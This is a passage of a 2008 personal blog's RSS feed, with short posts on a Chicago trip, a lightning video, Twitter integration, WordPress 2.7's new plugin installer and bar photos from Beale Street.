<p>The plan is to drive up there late Thursday, stop at a notel somewhere for sleep, and continue on in early Friday morning. I&#8217;m not a huge fan of that idea, but I&#8217;ve got people coming with me, and they&#8217;re not really the drive-for-8-hours-and-then-continue-to-party-for-24-more types&#8230; So a good nights sleep at some point is likely the best course of action.</p>
<p>I also hope to get some good Chicago pizza and have a few drinks at the top of the Hancock building (that&#8217;s where everybody says to check out). But mostly, I plan on sitting on the boat, having a few brews, and enjoying the lakefront.</p>
<p>I&#8217;ll post a gallery of pictures upon my return. <img src='http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

<p><a href="http://feedads.g.doubleclick.net/~a/iGOjRs08bDzFN37elaaZsLDIoyw/0/da"><img src="http://feedads.g.doubleclick.net/~a/iGOjRs08bDzFN37elaaZsLDIoyw/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/iGOjRs08bDzFN37elaaZsLDIoyw/1/da"><img src="http://feedads.g.doubleclick.net/~a/iGOjRs08bDzFN37elaaZsLDIoyw/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=H2gmkeWykrI:jgnTEMzbpu8:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=H2gmkeWykrI:jgnTEMzbpu8:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=H2gmkeWykrI:jgnTEMzbpu8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=H2gmkeWykrI:jgnTEMzbpu8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=H2gmkeWykrI:jgnTEMzbpu8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=H2gmkeWykrI:jgnTEMzbpu8:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=H2gmkeWykrI:jgnTEMzbpu8:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/H2gmkeWykrI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/chicago-air-and-water-show/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<georss:point>35.1461296 -90.0535583</georss:point>
		<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/chicago_air_26_water_show1-150x150.jpg" />
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/chicago_air_26_water_show1.jpg" medium="image">
			<media:title type="html">chicago_air_water_show</media:title>
			<media:description type="html">Chicago Air and Water Show 2006</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/chicago_air_26_water_show1-150x150.jpg" />
		</media:content>
	<feedburner:origLink>http://ottodestruct.com/blog/2008/chicago-air-and-water-show/</feedburner:origLink></item>
		<item>
		<title>Lightning in Slow Motion</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/bJH-QtmLE1Y/</link>
		<comments>http://ottodestruct.com/blog/2008/lightning-in-slow-motion/#comments</comments>
		<pubDate>Fri, 08 Aug 2008 15:38:41 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[General Spew]]></category>
		<category><![CDATA[Thingery]]></category>
		<category><![CDATA[lightning]]></category>
		<category><![CDATA[slow motion]]></category>
		<category><![CDATA[todaysbigthing]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=346</guid>
		<description>This ranks among one of the coolest videos I&amp;#8217;ve ever seen.

Yeah. Fuckin&amp;#8217; metal.
Found on Today&amp;#8217;s Big Thing.</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2008/lightning-in-slow-motion/" type="box_count"></fb:share-button><p>This ranks among one of the coolest videos I&#8217;ve ever seen.</p>
<p><object type="application/x-shockwave-flash" data="http://www.todaysbigthing.com/betamax/betamax.swf?item_id=309&#038;fullscreen=1&#038;autostart=true" width="480" height="360"><param name="allowfullscreen" value="true" /><param name="movie" quality="best" value="http://www.todaysbigthing.com/betamax/betamax.swf?item_id=309&#038;fullscreen=1&#038;autostart=true" /></object></p>
<p>Yeah. Fuckin&#8217; metal.</p>
<p>Found on <a href="http://www.todaysbigthing.com/2008/08/07">Today&#8217;s Big Thing</a>.</p>

<p><a href="http://feedads.g.doubleclick.net/~a/6Lx5qimSzDjaufMe-pw-sGfM_aI/0/da"><img src="http://feedads.g.doubleclick.net/~a/6Lx5qimSzDjaufMe-pw-sGfM_aI/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/6Lx5qimSzDjaufMe-pw-sGfM_aI/1/da"><img src="http://feedads.g.doubleclick.net/~a/6Lx5qimSzDjaufMe-pw-sGfM_aI/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=bJH-QtmLE1Y:cFbFQttRL7c:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=bJH-QtmLE1Y:cFbFQttRL7c:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=bJH-QtmLE1Y:cFbFQttRL7c:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=bJH-QtmLE1Y:cFbFQttRL7c:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=bJH-QtmLE1Y:cFbFQttRL7c:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=bJH-QtmLE1Y:cFbFQttRL7c:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=bJH-QtmLE1Y:cFbFQttRL7c:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/bJH-QtmLE1Y" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/lightning-in-slow-motion/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	<georss:point>35.1461296 -90.0535583</georss:point>
	<feedburner:origLink>http://ottodestruct.com/blog/2008/lightning-in-slow-motion/</feedburner:origLink></item>
		<item>
		<title>Fun with Twitter</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/ysf6kew1V9o/</link>
		<comments>http://ottodestruct.com/blog/2008/fun-with-twitter/#comments</comments>
		<pubDate>Wed, 06 Aug 2008 22:10:09 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Hackery]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[twitter-tools]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=343</guid>
		<description>Just rigged up the blog to show whatever I&amp;#8217;m posting via Twitter as well. However, what with Twitter being a bit of a lower end sort of one-liner type of thing, I decided to make those posts style slightly differently. So those weird blue things? Those are just my latest Twitter updates.  
Thanks to [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2008/fun-with-twitter/" type="box_count"></fb:share-button><p>Just rigged up the blog to show whatever I&#8217;m posting via Twitter as well. However, what with Twitter being a bit of a lower end sort of one-liner type of thing, I decided to make those posts style slightly differently. So those weird blue things? Those are just my latest Twitter updates. <img src='http://ottodestruct.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Thanks to <a href="http://alexking.org/projects/wordpress">Twitter Tools</a> for making it work properly. Good WordPress plugin, still has a few odd points to it and some kinks to work out though. But it works well enough.</p>
<p>Feel free to respond more directly to anything I have to say <a href="http://twitter.com/Otto42/">on Twitter</a>.</p>

<p><a href="http://feedads.g.doubleclick.net/~a/hpH2g0hN5J0ssp0y6qQRYptUbmg/0/da"><img src="http://feedads.g.doubleclick.net/~a/hpH2g0hN5J0ssp0y6qQRYptUbmg/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/hpH2g0hN5J0ssp0y6qQRYptUbmg/1/da"><img src="http://feedads.g.doubleclick.net/~a/hpH2g0hN5J0ssp0y6qQRYptUbmg/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=ysf6kew1V9o:_OCHaR4s1xg:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=ysf6kew1V9o:_OCHaR4s1xg:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=ysf6kew1V9o:_OCHaR4s1xg:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=ysf6kew1V9o:_OCHaR4s1xg:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=ysf6kew1V9o:_OCHaR4s1xg:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=ysf6kew1V9o:_OCHaR4s1xg:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=ysf6kew1V9o:_OCHaR4s1xg:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/ysf6kew1V9o" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/fun-with-twitter/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
	<feedburner:origLink>http://ottodestruct.com/blog/2008/fun-with-twitter/</feedburner:origLink></item>
		<item>
		<title>Just got a replacement battery…</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/v5ckqmNSK9U/</link>
		<comments>http://ottodestruct.com/blog/2008/just-got-a-replacement-battery/#comments</comments>
		<pubDate>Wed, 06 Aug 2008 17:48:39 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Twitter]]></category>
		<category><![CDATA[tweets]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2008/08/06/just-got-a-replacement-battery/</guid>
		<description>Just got a replacement battery for my car. Yay! I can go places again!</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2008/just-got-a-replacement-battery/" type="box_count"></fb:share-button><p>Just got a replacement battery for my car. Yay! I can go places again!</p>

<p><a href="http://feedads.g.doubleclick.net/~a/U5jC4pn3R_GdNIXI03WLaS37mkA/0/da"><img src="http://feedads.g.doubleclick.net/~a/U5jC4pn3R_GdNIXI03WLaS37mkA/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/U5jC4pn3R_GdNIXI03WLaS37mkA/1/da"><img src="http://feedads.g.doubleclick.net/~a/U5jC4pn3R_GdNIXI03WLaS37mkA/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=v5ckqmNSK9U:AEJhOJaQhmg:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=v5ckqmNSK9U:AEJhOJaQhmg:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=v5ckqmNSK9U:AEJhOJaQhmg:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=v5ckqmNSK9U:AEJhOJaQhmg:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=v5ckqmNSK9U:AEJhOJaQhmg:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=v5ckqmNSK9U:AEJhOJaQhmg:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=v5ckqmNSK9U:AEJhOJaQhmg:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/v5ckqmNSK9U" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/just-got-a-replacement-battery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
	<feedburner:origLink>http://ottodestruct.com/blog/2008/just-got-a-replacement-battery/</feedburner:origLink></item>
		<item>
		<title>New WordPress 2.7 Feature – Plugin Installation</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/yJDXvvbtkJU/</link>
		<comments>http://ottodestruct.com/blog/2008/wordpress-plugin-installation/#comments</comments>
		<pubDate>Tue, 05 Aug 2008 21:21:04 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Geekery]]></category>
		<category><![CDATA[Programmery]]></category>
		<category><![CDATA[2.7]]></category>
		<category><![CDATA[author]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[install]]></category>
		<category><![CDATA[lolcats]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[plugin directory]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wordpress.org]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/?p=292</guid>
		<description>(This post is geared more towards PHP authors and fans of WordPress, so if you&amp;#8217;re not into that sort of thing, why not go look at some pictures of cats instead?)
So, I upgraded to the latest 2.7-bleeding edge version of WordPress on my blog today, and discovered a new feature that I had missed in [...]</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2008/wordpress-plugin-installation/" type="box_count"></fb:share-button><p>(This post is geared more towards PHP authors and fans of WordPress, so if you&#8217;re not into that sort of thing, why not go look at some <a title="I Can Has Cheezburger?" href="http://icanhascheezburger.com">pictures of cats</a> instead?)</p>
<p>So, I upgraded to the latest 2.7-bleeding edge version of WordPress on my blog today, and discovered a new feature that I had missed in my earlier readings. There was a new menu item on the Plugins menu:</p>
<div id="attachment_293" class="wp-caption alignnone" style="width: 610px"><a rel="attachment wp-att-293" href="http://ottodestruct.com/blog/2008/08/05/wordpress-plugin-installation/install1/"><img class="size-full wp-image-293" title="Plugin Install 1" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install1.png" alt="New Menu Item" width="600" height="107" /></a><p class="wp-caption-text">New Menu Item - Install Plugins!</p></div>
<p>Yes, it appears that WordPress now has plugin installation built into it. Similar to the Plugin Upgrade feature introduced in 2.5, 2.7 will be able to download and install plugins directly from WordPress.org&#8217;s plugin directory.</p>
<p>Naturally, I had to try this out, so read on if you want to see what it looks like&#8230;</p>
<p><span id="more-292"></span></p>
<div id="attachment_294" class="wp-caption alignnone" style="width: 310px"><a rel="attachment wp-att-294" href="http://ottodestruct.com/blog/2008/08/05/wordpress-plugin-installation/install2/"><img class="size-medium wp-image-294" title="Plugin Install 2" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install2-300x178.png" alt="The new Plugin Install screen" width="300" height="178" /></a><p class="wp-caption-text">The new Plugin Install screen</p></div>
<p>The new plugin install screen has several ways to find plugins, including all the normal plugin lists from the WordPress Plugin Directory. It also has a pretty good search as well as a fairly large tag cloud at the bottom, if you&#8217;re not entirely sure what you&#8217;re looking for.</p>
<p>Tip for plugin developers: Now might be a good time to look closer at those readme.txt files you&#8217;ve been making for the plugin directory, and be sure that you&#8217;ve got everything nice and neat. Especially think about tags and keywords&#8230; People have to find your plugin somehow.</p>
<div id="attachment_295" class="wp-caption alignnone" style="width: 310px"><a rel="attachment wp-att-295" href="http://ottodestruct.com/blog/2008/08/05/wordpress-plugin-installation/install3/"><img class="size-medium wp-image-295" title="Plugin Install 3" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install3-300x159.png" alt="Choosing a plugin" width="300" height="159" /></a><p class="wp-caption-text">Choosing a plugin</p></div>
<p>Choosing the plugin is just a matter of finding it and then clicking the Install link. When you do, you get to see more info about it first, before installing it.</p>
<div id="attachment_296" class="wp-caption alignnone" style="width: 310px"><a rel="attachment wp-att-296" href="http://ottodestruct.com/blog/2008/08/05/wordpress-plugin-installation/install4/"><img class="size-medium wp-image-296" title="Plugin Install 4" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install4-300x168.png" alt="Plugin Information" width="300" height="168" /></a><p class="wp-caption-text">Plugin Information</p></div>
<p>Note the &#8220;Install Now&#8221; button in the top right corner. Also note that only the description shows up, note of the other normal tabs. I don&#8217;t know if this is going to change or not, but nevertheless, plugin authors should consider that their descriptions will be getting more visibility this way.</p>
<div id="attachment_297" class="wp-caption alignnone" style="width: 310px"><a rel="attachment wp-att-297" href="http://ottodestruct.com/blog/2008/08/05/wordpress-plugin-installation/install5/"><img class="size-medium wp-image-297" title="Plugin Install 5" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install5-300x125.png" alt="Install process" width="300" height="125" /></a><p class="wp-caption-text">Install process</p></div>
<p>Installation is much the same as upgrading, except it&#8217;s now in a thickbox. Yes, upgrading now happens in a nice thickbox too, using this same interface. The description screen is also smart enough to detect when you already have a plugin install and have the latest version of it, and tell you &#8220;Latest Update Installed&#8221; instead of &#8220;Install Now&#8221; and such.</p>
<div id="attachment_298" class="wp-caption alignnone" style="width: 310px"><a rel="attachment wp-att-298" href="http://ottodestruct.com/blog/2008/08/05/wordpress-plugin-installation/install6/"><img class="size-medium wp-image-298" title="Plugin Install 6" src="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install6-300x81.png" alt="Activating the plugin" width="300" height="81" /></a><p class="wp-caption-text">Activating the plugin</p></div>
<p>After activating, it all goes back to normal. The resulting plugin gets its own subdirectory in the plugins directory, and all is well.</p>
<p>Important note for plugin authors: This sort of thing was already critical for upgrading, but now installing makes it even more so. Your main plugin&#8217;s PHP file and readme.txt file must be in the root of the SVN! You cannot package it up yourself as a ZIP file or anything like that. If it can&#8217;t find the plugin&#8217;s PHP file after downloading it, then your plugin won&#8217;t show up, it won&#8217;t be activated, and it generally won&#8217;t work for anybody.</p>

<p><a href="http://feedads.g.doubleclick.net/~a/VPpTcj2Sj6dJpvRW9Tgjhob7AN4/0/da"><img src="http://feedads.g.doubleclick.net/~a/VPpTcj2Sj6dJpvRW9Tgjhob7AN4/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/VPpTcj2Sj6dJpvRW9Tgjhob7AN4/1/da"><img src="http://feedads.g.doubleclick.net/~a/VPpTcj2Sj6dJpvRW9Tgjhob7AN4/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=yJDXvvbtkJU:4whpYPakkX4:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=yJDXvvbtkJU:4whpYPakkX4:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=yJDXvvbtkJU:4whpYPakkX4:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=yJDXvvbtkJU:4whpYPakkX4:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=yJDXvvbtkJU:4whpYPakkX4:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=yJDXvvbtkJU:4whpYPakkX4:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=yJDXvvbtkJU:4whpYPakkX4:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/yJDXvvbtkJU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/wordpress-plugin-installation/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
	<georss:point>35.1461296 -90.0535583</georss:point>
		<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install1-150x116.png" />
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install1.png" medium="image">
			<media:title type="html">Plugin Install 1</media:title>
			<media:description type="html">New Menu Item</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install1-150x116.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install2.png" medium="image">
			<media:title type="html">Plugin Install 2</media:title>
			<media:description type="html">The new Plugin Install screen</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install2-150x150.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install3.png" medium="image">
			<media:title type="html">Plugin Install 3</media:title>
			<media:description type="html">Choosing a plugin</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install3-150x150.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install4.png" medium="image">
			<media:title type="html">Plugin Install 4</media:title>
			<media:description type="html">Plugin Information</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install4-150x150.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install5.png" medium="image">
			<media:title type="html">Plugin Install 5</media:title>
			<media:description type="html">Install process</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install5-150x150.png" />
		</media:content>
		<media:content url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install6.png" medium="image">
			<media:title type="html">Plugin Install 6</media:title>
			<media:description type="html">Activating the plugin</media:description>
			<media:thumbnail url="http://ottodestruct.com/blog/wp-content/uploads/2008/08/install6-150x150.png" />
		</media:content>
	<feedburner:origLink>http://ottodestruct.com/blog/2008/wordpress-plugin-installation/</feedburner:origLink></item>
		<item>
		<title>Ribs!</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/K0zt3XtgOgw/</link>
		<comments>http://ottodestruct.com/blog/2008/ribs/#comments</comments>
		<pubDate>Sun, 27 Jul 2008 21:14:33 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Placery]]></category>
		<category><![CDATA[beale street]]></category>
		<category><![CDATA[blues city]]></category>
		<category><![CDATA[ribs]]></category>
		<category><![CDATA[the liquor fairy]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2008/07/27/multimedia-message-3/</guid>
		<description>Multimedia message, originally uploaded by Otto42.</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2008/ribs/" type="box_count"></fb:share-button><p><a title="photo sharing" href="http://www.flickr.com/photos/otto42/2707271717/"><img style="border: solid 2px #000000;" src="http://farm4.static.flickr.com/3101/2707271717_4d761ed365.jpg" alt="" /></a></p>
<p><span style="font-size: 0.8em; margin-top: 0px;"><a href="http://www.flickr.com/photos/otto42/2707271717/">Multimedia message</a>, originally uploaded by <a href="http://www.flickr.com/people/otto42/">Otto42</a>.</span></p>

<p><a href="http://feedads.g.doubleclick.net/~a/BggrpCYi8uyBt8SS1AVloYFNuLs/0/da"><img src="http://feedads.g.doubleclick.net/~a/BggrpCYi8uyBt8SS1AVloYFNuLs/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/BggrpCYi8uyBt8SS1AVloYFNuLs/1/da"><img src="http://feedads.g.doubleclick.net/~a/BggrpCYi8uyBt8SS1AVloYFNuLs/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=K0zt3XtgOgw:3OeU4gokDU8:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=K0zt3XtgOgw:3OeU4gokDU8:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=K0zt3XtgOgw:3OeU4gokDU8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=K0zt3XtgOgw:3OeU4gokDU8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=K0zt3XtgOgw:3OeU4gokDU8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=K0zt3XtgOgw:3OeU4gokDU8:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=K0zt3XtgOgw:3OeU4gokDU8:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/K0zt3XtgOgw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/ribs/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	<georss:point>35.1401100 -90.0532150</georss:point>
		<media:thumbnail url="http://farm4.static.flickr.com/3101/2707271717_4d761ed365.jpg" />
		<media:content url="http://farm4.static.flickr.com/3101/2707271717_4d761ed365.jpg" medium="image" />
	<feedburner:origLink>http://ottodestruct.com/blog/2008/ribs/</feedburner:origLink></item>
		<item>
		<title>The girls at Hoop’s bar</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/3rim3KdfTCQ/</link>
		<comments>http://ottodestruct.com/blog/2008/the-girls-at-hoops-bar/#comments</comments>
		<pubDate>Sat, 26 Jul 2008 03:39:21 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Placery]]></category>
		<category><![CDATA[beale street]]></category>
		<category><![CDATA[Hoop's]]></category>
		<category><![CDATA[the liquor fairy]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2008/07/25/multimedia-message-2/</guid>
		<description>Multimedia message, originally uploaded by Otto42.</description>
			<content:encoded><![CDATA[<fb:share-button href="http://ottodestruct.com/blog/2008/the-girls-at-hoops-bar/" type="box_count"></fb:share-button><p><a title="photo sharing" href="http://www.flickr.com/photos/otto42/2702257749/"><img style="border: solid 2px #000000;" src="http://farm4.static.flickr.com/3099/2702257749_7fd9d3351a.jpg" alt="" /></a></p>
<p><span style="font-size: 0.8em; margin-top: 0px;"><a href="http://www.flickr.com/photos/otto42/2702257749/">Multimedia message</a>, originally uploaded by <a href="http://www.flickr.com/people/otto42/">Otto42</a>.</span></p>

<p><a href="http://feedads.g.doubleclick.net/~a/oLQt9He6hrh9zFyQyelFGrGQmWU/0/da"><img src="http://feedads.g.doubleclick.net/~a/oLQt9He6hrh9zFyQyelFGrGQmWU/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/oLQt9He6hrh9zFyQyelFGrGQmWU/1/da"><img src="http://feedads.g.doubleclick.net/~a/oLQt9He6hrh9zFyQyelFGrGQmWU/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ottodestruct?a=3rim3KdfTCQ:VDP6ZcIA4PA:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=3rim3KdfTCQ:VDP6ZcIA4PA:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=3rim3KdfTCQ:VDP6ZcIA4PA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=3rim3KdfTCQ:VDP6ZcIA4PA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=3rim3KdfTCQ:VDP6ZcIA4PA:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ottodestruct?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ottodestruct?a=3rim3KdfTCQ:VDP6ZcIA4PA:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ottodestruct?i=3rim3KdfTCQ:VDP6ZcIA4PA:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/ottodestruct/~4/3rim3KdfTCQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://ottodestruct.com/blog/2008/the-girls-at-hoops-bar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<georss:point>35.1404266 -90.0536041</georss:point>
		<media:thumbnail url="http://farm4.static.flickr.com/3099/2702257749_7fd9d3351a.jpg" />
		<media:content url="http://farm4.static.flickr.com/3099/2702257749_7fd9d3351a.jpg" medium="image" />
	<feedburner:origLink>http://ottodestruct.com/blog/2008/the-girls-at-hoops-bar/</feedburner:origLink></item>
		<item>
		<title>Superior Bar</title>
		<link>http://feedproxy.google.com/~r/ottodestruct/~3/X5IVSKSiPiQ/</link>
		<comments>http://ottodestruct.com/blog/2008/superior-bar/#comments</comments>
		<pubDate>Fri, 25 Jul 2008 21:04:11 +0000</pubDate>
		<dc:creator>Otto</dc:creator>
				<category><![CDATA[Placery]]></category>
		<category><![CDATA[beale street]]></category>
		<category><![CDATA[superior bar]]></category>
		<category><![CDATA[the liquor fairy]]></category>

		<guid isPermaLink="false">http://ottodestruct.com/blog/2008/07/25/multimedia-message/</guid>
		<description>Multimedia message, originally uploaded by Otto42.
The Liquor Fairy</description>
